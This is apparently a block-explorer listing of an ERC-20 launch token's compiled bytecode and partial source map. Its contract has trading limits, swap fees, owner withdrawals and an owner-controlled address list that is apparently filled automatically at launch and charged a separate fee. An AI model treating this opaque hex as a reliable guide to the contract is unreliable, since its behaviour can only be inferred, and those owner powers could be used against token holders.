5b9150506107d8565b5050565b6006546001600160a01b031633146108695760405162461bcd60e51b815260040161074e90611866565b6108725f61108e565b565b6006546001600160a01b0316331461089e5760405162461bcd60e51b815260040161074e90611866565b6108b081670de0b6b3a76400006118c7565b6011556108c581670de0b6b3a76400006118c7565b60105550565b6006546001600160a01b031633146108f55760405162461bcd60e51b815260040161074e90611866565b600a805461ffff1916610101179055565b60606003805461062b906117f4565b6006546001600160a01b0316331461093f5760405162461bcd60e51b815260040161074e90611866565b816001600160a01b031663a9059cbb6109606006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce91906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161074e565b610a6333856107668685611840565b5060019392505050565b5f6106b8338484610c86565b6006546001600160a01b03163314610aa35760405162461bcd60e51b815260040161074e90611866565b610ac881610ab96006546001600160a01b031690565b6001600160a01b0316906110df565b50565b6006546001600160a01b03163314610af55760405162461bcd60e51b815260040161074e90611866565b6001600160a01b038116610b5a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074e565b610ac88161108e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074e565b6001600160a01b038216610c265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161074e565b6001600160a01b0382165f908152600b602052604090205460ff1680610d2457506001600160a01b0383165f908152600b602052604090205460ff165b15610d3057600d546015555b60135460ff16158015610d5b57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610d7f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610f3c57600a54610100900460ff16610ddb5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161074e565b43600f54600e54610dec9190611853565b1115610e62576004546001600160a01b03838116911614610e2a576001600160a01b0382165f908152600b60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e62576001600160a01b0383165f908152600b60205260409020805460ff191660011790555b601054811115610ead5760405162461bcd60e51b815260206004820152601660248201527513585e151e105b5bdd5b9d081a5cc81b1a5b5a5d195960521b604482015260640161074e565b6004546001600160a01b03838116911614610f3c5760115481610ee4846001600160a01b03165f9081526020819052604090205490565b610eee9190611853565b1115610f3c5760405162461bcd60e51b815260206004820152601a60248201527f4d617857616c6c6574416d6f756e74206973206c696d69746564000000000000604482015260640161074e565b6013545f9060ff1680610f6657506001600160a01b0384165f9081526012602052604090205460ff165b80610f8857506001600160a01b0383165f9081526012602052604090205460ff165b15610f9457505f61100c565b6004546001600160a01b038481169116148015610fc957506001600160a01b0384165f908152600b602052604090205460ff16155b15610fef57606460155483610fde91906118c7565b610fe891906118fd565b905061100c565b606460145483610fff91906118c7565b61100991906118fd565b90505b600a5460ff168015611021575060135460ff16155b801561102c57505f81115b801561104657506004546001600160a01b03858116911614155b15611053576110536111f4565b801561107d5761106484308361123a565b61107884846110738585611410565b61123a565b611088565b61108884848461123a565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8047101561112f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161074e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611178576040519150601f19603f3d011682016040523d82523d5f602084013e61117d565b606091505b50509050806109ce5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161074e565b305f908152602081905260409020546009548110610ac8574761121682611458565b5f6112218247611840565b6007549091506109ce906001600160a01b0316826110df565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074e565b6001600160a01b0382166113005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074e565b6001600160a01b0383165f90815260208190526040902054818110156113775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161074e565b6113818282611840565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113b6908490611853565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161140291815260200190565b60405180910390a350505050565b5f61145183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115a8565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148b5761148b61189b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611506919061191c565b816001815181106115195761151961189b565b6001600160a01b039283166020918202929092010152600c5461153f9130911684610b63565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115779085905f90869030904290600401611937565b5f604051808303815f87803b15801561158e575f80fd5b505af11580156115a0573d5f803e3d5ffd5b505050505050565b5f81848411156115cb5760405162461bcd60e51b815260040161074e91906115e0565b505f6115d78585611840565b95945050505050565b5f6020808352835180828501525f5b8181101561160b578581018301518582016040015282016115ef565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac8575f80fd5b803561164a8161162b565b919050565b5f8060408385031215611660575f80fd5b823561166b8161162b565b946020939093013593505050565b5f805f6060848603121561168b575f80fd5b83356116968161162b565b925060208401356116a68161162b565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156116dc575f80fd5b823567ffffffffffffffff808211156116f3575f80fd5b818501915085601f830112611706575f80fd5b813581811115611718576117186116b7565b8060051b604051601f19603f8301168101818110858211171561173d5761173d6116b7565b60405291825284820192508381018501918883111561175a575f80fd5b938501935b8285101561177f576117708561163f565b8452938501939285019261175f565b98975050505050505050565b5f6020828403121561179b575f80fd5b81356114518161162b565b5f602082840312156117b6575f80fd5b5035919050565b5f80604083850312156117ce575f80fd5b82356117d98161162b565b915060208301356117e98161162b565b809150509250929050565b600181811c9082168061180857607f821691505b60208210810361182657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106bc576106bc61182c565b808201808211156106bc576106bc61182c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118c0576118c061182c565b5060010190565b80820281158282048414176106bc576106bc61182c565b5f602082840312156118ee575f80fd5b81518015158114611451575f80fd5b5f8261191757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561192c575f80fd5b81516114518161162b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c4664736f6c63430008140033

Deployed Bytecode

0x6080604052600436106101f4575f3560e01c80638da5cb5b11610108578063c85c07711161009d578063e47269af1161006d578063e47269af1461058b578063f14210a6146105a0578063f25f4b56146105bf578063f2fde38b146105de578063fb4ee9fb146105fd575f80fd5b8063c85c0771146104ef578063d5e23cc714610504578063dbe66ca014610519578063dd62ed3e14610547575f80fd5b80639ed6b920116100d85780639ed6b9201461047d578063a457c2d71461049c578063a9059cbb146104bb578063b9766949146104da575f80fd5b80638da5cb5b146104185780638ea5220f1461043557806395d89b41146104545780639654b5c314610468575f80fd5b80634e17a2db11610189578063715018a611610159578063715018a614610385578063719a623f14610399578063735de9f7146103b857806381ffc9f4146103ef5780638a8c523c14610404575f80fd5b80634e17a2db1461030257806352fc215d146103175780636ddd17131461033857806370a0823114610351575f80fd5b806323b872dd116101c457806323b872dd14610294578063313ce567146102b357806339509351146102ce578063444bd60b146102ed575f80fd5b806306fdde03146101ff578063095ea7b31461022957806318160ddd146102585780631c1702f314610276575f80fd5b366101fb57005b5f80fd5b34801561020a575f80fd5b5061021361061c565b60405161022091906115e0565b60405180910390f35b348015610234575f80fd5b5061024861024336600461164f565b6106ac565b6040519015158152602001610220565b348015610263575f80fd5b506001545b604051908152602001610220565b348015610281575f80fd5b50600a5461024890610100900460ff1681565b34801561029f575f80fd5b506102486102ae366004611679565b6106c2565b3480156102be575f80fd5b5060405160128152602001610220565b3480156102d9575f80fd5b506102486102e836600461164f565b610776565b3480156102f8575f80fd5b50610268600f5481565b34801561030d575f80fd5b5061026860145481565b348015610322575f80fd5b506103366103313660046116cb565b6107ac565b005b348015610343575f80fd5b50600a546102489060ff1681565b34801561035c575f80fd5b5061026861036b36600461178b565b6001600160a01b03165f9081526020819052604090205490565b348015610390575f80fd5b5061033661083f565b3480156103a4575f80fd5b506103366103b33660046117a6565b610874565b3480156103c3575f80fd5b50600c546103d7906001600160a01b031681565b6040516001600160a01b039091168152602001610220565b3480156103fa575f80fd5b5061026860095481565b34801561040f575f80fd5b506103366108cb565b348015610423575f80fd5b506006546001600160a01b03166103d7565b348015610440575f80fd5b506008546103d7906001600160a01b031681565b34801561045f575f80fd5b50610213610906565b348015610473575f80fd5b5061026860155481565b348015610488575f80fd5b5061033661049736600461164f565b610915565b3480156104a7575f80fd5b506102486104b636600461164f565b6109d3565b3480156104c6575f80fd5b506102486104d536600461164f565b610a6d565b3480156104e5575f80fd5b50610268600d5481565b3480156104fa575f80fd5b50610268600e5481565b34801561050f575f80fd5b5061026860105481565b348015610524575f80fd5b5061024861053336600461178b565b60126020525f908152604090205460ff1681565b348015610552575f80fd5b506102686105613660046117bd565b6001600160a01b039182165f90815260056020908152604080832093909416825291909152205490565b348015610596575f80fd5b5061026860115481565b3480156105ab575f80fd5b506103366105ba3660046117a6565b610a79565b3480156105ca575f80fd5b506007546103d7906001600160a01b031681565b3480156105e9575f80fd5b506103366105f836600461178b565b610acb565b348015610608575f80fd5b506004546103d7906001600160a01b031681565b60606002805461062b906117f4565b80601f0160208091040260200160405190810160405280929190818152602001828054610657906117f4565b80156106a25780601f10610679576101008083540402835291602001916106a2565b820191905f5260205f20905b81548152906001019060200180831161068557829003601f168201915b5050505050905090565b5f6106b8338484610b63565b5060015b92915050565b5f6106ce848484610c86565b6001600160a01b0384165f908152600560209081526040808320338452909152902054828110156107575760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61076b85336107668685611840565b610b63565b506001949350505050565b335f8181526005602090815260408083206001600160a01b038716845290915281205490916106b8918590610766908690611853565b6006546001600160a01b031633146107d65760405162461bcd60e51b815260040161074e90611866565b5f5b815181101561083b576001600b5f8484815181106107f8576107f861189b565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610833816118af565b9150506107d8565b5050565b6006546001600160a01b031633146108695760405162461bcd60e51b815260040161074e90611866565b6108725f61108e565b565b6006546001600160a01b0316331461089e5760405162461bcd60e51b815260040161074e90611866565b6108b081670de0b6b3a76400006118c7565b6011556108c581670de0b6b3a76400006118c7565b60105550565b6006546001600160a01b031633146108f55760405162461bcd60e51b815260040161074e90611866565b600a805461ffff1916610101179055565b60606003805461062b906117f4565b6006546001600160a01b0316331461093f5760405162461bcd60e51b815260040161074e90611866565b816001600160a01b031663a9059cbb6109606006546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af11580156109aa573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ce91906118de565b505050565b335f9081526005602090815260408083206001600160a01b038616845290915281205482811015610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161074e565b610a6333856107668685611840565b5060019392505050565b5f6106b8338484610c86565b6006546001600160a01b03163314610aa35760405162461bcd60e51b815260040161074e90611866565b610ac881610ab96006546001600160a01b031690565b6001600160a01b0316906110df565b50565b6006546001600160a01b03163314610af55760405162461bcd60e51b815260040161074e90611866565b6001600160a01b038116610b5a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161074e565b610ac88161108e565b6001600160a01b038316610bc55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161074e565b6001600160a01b038216610c265760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161074e565b6001600160a01b038381165f8181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8111610ce75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161074e565b6001600160a01b0382165f908152600b602052604090205460ff1680610d2457506001600160a01b0383165f908152600b602052604090205460ff165b15610d3057600d546015555b60135460ff16158015610d5b57506001600160a01b0383165f9081526012602052604090205460ff16155b8015610d7f57506001600160a01b0382165f9081526012602052604090205460ff16155b15610f3c57600a54610100900460ff16610ddb5760405162461bcd60e51b815260206004820152601960248201527f54726164696e67206973206e6f74206163746976652079657400000000000000604482015260640161074e565b43600f54600e54610dec9190611853565b1115610e62576004546001600160a01b03838116911614610e2a576001600160a01b0382165f908152600b60205260409020805460ff191660011790555b6004546001600160a01b03848116911614610e62576001600160a01b0383165f908152600b60205260409020805460ff191660011790555b601054811115610ead5760405162461bcd60e51b815260206004820152601660248201527513585e151e105b5bdd5b9d081a5cc81b1a5b5a5d195960521b604482015260640161074e565b6004546001600160a01b03838116911614610f3c5760115481610ee4846001600160a01b03165f9081526020819052604090205490565b610eee9190611853565b1115610f3c5760405162461bcd60e51b815260206004820152601a60248201527f4d617857616c6c6574416d6f756e74206973206c696d69746564000000000000604482015260640161074e565b6013545f9060ff1680610f6657506001600160a01b0384165f9081526012602052604090205460ff165b80610f8857506001600160a01b0383165f9081526012602052604090205460ff165b15610f9457505f61100c565b6004546001600160a01b038481169116148015610fc957506001600160a01b0384165f908152600b602052604090205460ff16155b15610fef57606460155483610fde91906118c7565b610fe891906118fd565b905061100c565b606460145483610fff91906118c7565b61100991906118fd565b90505b600a5460ff168015611021575060135460ff16155b801561102c57505f81115b801561104657506004546001600160a01b03858116911614155b15611053576110536111f4565b801561107d5761106484308361123a565b61107884846110738585611410565b61123a565b611088565b61108884848461123a565b50505050565b600680546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8047101561112f5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e6365000000604482015260640161074e565b5f826001600160a01b0316826040515f6040518083038185875af1925050503d805f8114611178576040519150601f19603f3d011682016040523d82523d5f602084013e61117d565b606091505b50509050806109ce5760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d61792068617665207265766572746564000000000000606482015260840161074e565b305f908152602081905260409020546009548110610ac8574761121682611458565b5f6112218247611840565b6007549091506109ce906001600160a01b0316826110df565b6001600160a01b03831661129e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161074e565b6001600160a01b0382166113005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161074e565b6001600160a01b0383165f90815260208190526040902054818110156113775760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161074e565b6113818282611840565b6001600160a01b038086165f9081526020819052604080822093909355908516815290812080548492906113b6908490611853565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161140291815260200190565b60405180910390a350505050565b5f61145183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506115a8565b9392505050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061148b5761148b61189b565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611506919061191c565b816001815181106115195761151961189b565b6001600160a01b039283166020918202929092010152600c5461153f9130911684610b63565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac947906115779085905f90869030904290600401611937565b5f604051808303815f87803b15801561158e575f80fd5b505af11580156115a0573d5f803e3d5ffd5b505050505050565b5f81848411156115cb5760405162461bcd60e51b815260040161074e91906115e0565b505f6115d78585611840565b95945050505050565b5f6020808352835180828501525f5b8181101561160b578581018301518582016040015282016115ef565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ac8575f80fd5b803561164a8161162b565b919050565b5f8060408385031215611660575f80fd5b823561166b8161162b565b946020939093013593505050565b5f805f6060848603121561168b575f80fd5b83356116968161162b565b925060208401356116a68161162b565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156116dc575f80fd5b823567ffffffffffffffff808211156116f3575f80fd5b818501915085601f830112611706575f80fd5b813581811115611718576117186116b7565b8060051b604051601f19603f8301168101818110858211171561173d5761173d6116b7565b60405291825284820192508381018501918883111561175a575f80fd5b938501935b8285101561177f576117708561163f565b8452938501939285019261175f565b98975050505050505050565b5f6020828403121561179b575f80fd5b81356114518161162b565b5f602082840312156117b6575f80fd5b5035919050565b5f80604083850312156117ce575f80fd5b82356117d98161162b565b915060208301356117e98161162b565b809150509250929050565b600181811c9082168061180857607f821691505b60208210810361182657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156106bc576106bc61182c565b808201808211156106bc576106bc61182c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016118c0576118c061182c565b5060010190565b80820281158282048414176106bc576106bc61182c565b5f602082840312156118ee575f80fd5b81518015158114611451575f80fd5b5f8261191757634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561192c575f80fd5b81516114518161162b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119855784516001600160a01b031683529383019391830191600101611960565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f9427cfa9afb2e0d3844eb15e55d90fedf5787d97fbe8b2f25b6e0e9b3b16c4664736f6c63430008140033

Deployed Bytecode Sourcemap

12689:5791:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7750:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8908:169;;;;;;;;;;-1:-1:-1;8908:169:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;8908:169:0;1162:187:1;7856:108:0;;;;;;;;;;-1:-1:-1;7944:12:0;;7856:108;;;1500:25:1;;;1488:2;1473:18;7856:108:0;1354:177:1;13037:24:0;;;;;;;;;;-1:-1:-1;13037:24:0;;;;;;;;;;;9304:422;;;;;;;;;;-1:-1:-1;9304:422:0;;;;;:::i;:::-;;:::i;7972:93::-;;;;;;;;;;-1:-1:-1;7972:93:0;;8055:2;2139:36:1;;2127:2;2112:18;7972:93:0;1997:184:1;9083:215:0;;;;;;;;;;-1:-1:-1;9083:215:0;;;;;:::i;:::-;;:::i;13233:27::-;;;;;;;;;;;;;;;;13480:28;;;;;;;;;;;;;;;;17222:179;;;;;;;;;;-1:-1:-1;17222:179:0;;;;;:::i;:::-;;:::i;:::-;;13007:23;;;;;;;;;;-1:-1:-1;13007:23:0;;;;;;;;8234:127;;;;;;;;;;-1:-1:-1;8234:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8335:18:0;8308:7;8335:18;;;;;;;;;;;;8234:127;12207:94;;;;;;;;;;;;;:::i;18333:142::-;;;;;;;;;;-1:-1:-1;18333:142:0;;;;;:::i;:::-;;:::i;13120:28::-;;;;;;;;;;-1:-1:-1;13120:28:0;;;;-1:-1:-1;;;;;13120:28:0;;;;;;-1:-1:-1;;;;;4060:32:1;;;4042:51;;4030:2;4015:18;13120:28:0;3881:218:1;12956:44:0;;;;;;;;;;;;;;;;14336:101;;;;;;;;;;;;;:::i;12108:87::-;;;;;;;;;;-1:-1:-1;12181:6:0;;-1:-1:-1;;;;;12181:6:0;12108:87;;12880:69;;;;;;;;;;-1:-1:-1;12880:69:0;;;;-1:-1:-1;;;;;12880:69:0;;;7638:104;;;;;;;;;;;;;:::i;13515:29::-;;;;;;;;;;;;;;;;16544:149;;;;;;;;;;-1:-1:-1;16544:149:0;;;;;:::i;:::-;;:::i;10288:377::-;;;;;;;;;;-1:-1:-1;10288:377:0;;;;;:::i;:::-;;:::i;8721:175::-;;;;;;;;;;-1:-1:-1;8721:175:0;;;;;:::i;:::-;;:::i;13155:34::-;;;;;;;;;;;;;;;;13196:30;;;;;;;;;;;;;;;;13267:49;;;;;;;;;;;;;;;;13393;;;;;;;;;;-1:-1:-1;13393:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;8075:151;;;;;;;;;;-1:-1:-1;8075:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;8191:18:0;;;8164:7;8191:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8075:151;13329:49;;;;;;;;;;;;;;;;14214:114;;;;;;;;;;-1:-1:-1;14214:114:0;;;;;:::i;:::-;;:::i;12804:69::-;;;;;;;;;;-1:-1:-1;12804:69:0;;;;-1:-1:-1;;;;;12804:69:0;;;12307:192;;;;;;;;;;-1:-1:-1;12307:192:0;;;;;:::i;:::-;;:::i;7400:25::-;;;;;;;;;;-1:-1:-1;7400:25:0;;;;-1:-1:-1;;;;;7400:25:0;;;7750:100;7804:13;7837:5;7830:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7750:100;:::o;8908:169::-;8991:4;9008:39;321:10;9031:7;9040:6;9008:8;:39::i;:::-;-1:-1:-1;9065:4:0;8908:169;;;;;:::o;9304:422::-;9410:4;9427:36;9437:6;9445:9;9456:6;9427:9;:36::i;:::-;-1:-1:-1;;;;;9503:19:0;;9476:24;9503:19;;;:11;:19;;;;;;;;321:10;9503:33;;;;;;;;9555:26;;;;9547:79;;;;-1:-1:-1;;;9547:79:0;;5292:2:1;9547:79:0;;;5274:21:1;5331:2;5311:18;;;5304:30;5370:34;5350:18;;;5343:62;-1:-1:-1;;;5421:18:1;;;5414:38;5469:19;;9547:79:0;;;;;;;;;9637:57;9646:6;321:10;9668:25;9687:6;9668:16;:25;:::i;:::-;9637:8;:57::i;:::-;-1:-1:-1;9714:4:0;;9304:422;-1:-1:-1;;;;9304:422:0:o;9083:215::-;321:10;9171:4;9220:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;9220:34:0;;;;;;;;;;9171:4;;9188:80;;9211:7;;9220:47;;9257:10;;9220:47;:::i;17222:179::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;17303:6:::1;17298:96;17319:6;:13;17315:1;:17;17298:96;;;17378:4;17355:9;:20;17365:6;17372:1;17365:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;17355:20:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;17355:20:0;:27;;-1:-1:-1;;17355:27:0::1;::::0;::::1;;::::0;;;::::1;::::0;;17334:3;::::1;::::0;::::1;:::i;:::-;;;;17298:96;;;;17222:179:::0;:::o;12207:94::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;12272:21:::1;12290:1;12272:9;:21::i;:::-;12207:94::o:0;18333:142::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;18420:15:::1;:6:::0;18429::::1;18420:15;:::i;:::-;18405:12;:30:::0;18452:15:::1;:6:::0;18461::::1;18452:15;:::i;:::-;18437:12;:30:::0;-1:-1:-1;18333:142:0:o;14336:101::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;14390:12:::1;:19:::0;;-1:-1:-1;;14411:18:0;;;;;14336:101::o;7638:104::-;7694:13;7727:7;7720:14;;;;;:::i;16544:149::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;16646:12:::1;-1:-1:-1::0;;;;;16639:29:0::1;;16669:7;12181:6:::0;;-1:-1:-1;;;;;12181:6:0;;12108:87;16669:7:::1;16639:46;::::0;-1:-1:-1;;;;;;16639:46:0::1;::::0;;;;;;-1:-1:-1;;;;;6892:32:1;;;16639:46:0::1;::::0;::::1;6874:51:1::0;6941:18;;;6934:34;;;6847:18;;16639:46:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16544:149:::0;;:::o;10288:377::-;321:10;10381:4;10425:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;10425:34:0;;;;;;;;;;10478:35;;;;10470:85;;;;-1:-1:-1;;;10470:85:0;;7463:2:1;10470:85:0;;;7445:21:1;7502:2;7482:18;;;7475:30;7541:34;7521:18;;;7514:62;-1:-1:-1;;;7592:18:1;;;7585:35;7637:19;;10470:85:0;7261:401:1;10470:85:0;10566:67;321:10;10589:7;10598:34;10617:15;10598:16;:34;:::i;10566:67::-;-1:-1:-1;10653:4:0;;10288:377;-1:-1:-1;;;10288:377:0:o;8721:175::-;8807:4;8824:42;321:10;8848:9;8859:6;8824:9;:42::i;14214:114::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;14283:37:::1;14310:9;14291:7;12181:6:::0;;-1:-1:-1;;;;;12181:6:0;;12108:87;14291:7:::1;-1:-1:-1::0;;;;;14283:26:0::1;::::0;::::1;:37::i;:::-;14214:114:::0;:::o;12307:192::-;12181:6;;-1:-1:-1;;;;;12181:6:0;321:10;12022:23;12014:68;;;;-1:-1:-1;;;12014:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12396:22:0;::::1;12388:73;;;::::0;-1:-1:-1;;;12388:73:0;;7869:2:1;12388:73:0::1;::::0;::::1;7851:21:1::0;7908:2;7888:18;;;7881:30;7947:34;7927:18;;;7920:62;-1:-1:-1;;;7998:18:1;;;7991:36;8044:19;;12388:73:0::1;7667:402:1::0;12388:73:0::1;12472:19;12482:8;12472:9;:19::i;8369:346::-:0;-1:-1:-1;;;;;8471:19:0;;8463:68;;;;-1:-1:-1;;;8463:68:0;;8276:2:1;8463:68:0;;;8258:21:1;8315:2;8295:18;;;8288:30;8354:34;8334:18;;;8327:62;-1:-1:-1;;;8405:18:1;;;8398:34;8449:19;;8463:68:0;8074:400:1;8463:68:0;-1:-1:-1;;;;;8550:21:0;;8542:68;;;;-1:-1:-1;;;8542:68:0;;8681:2:1;8542:68:0;;;8663:21:1;8720:2;8700:18;;;8693:30;8759:34;8739:18;;;8732:62;-1:-1:-1;;;8810:18:1;;;8803:32;8852:19;;8542:68:0;8479:398:1;8542:68:0;-1:-1:-1;;;;;8623:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8675:32;;1500:25:1;;;8675:32:0;;1473:18:1;8675:32:0;;;;;;;8369:346;;;:::o;14443:2093::-;14559:1;14550:6;:10;14542:64;;;;-1:-1:-1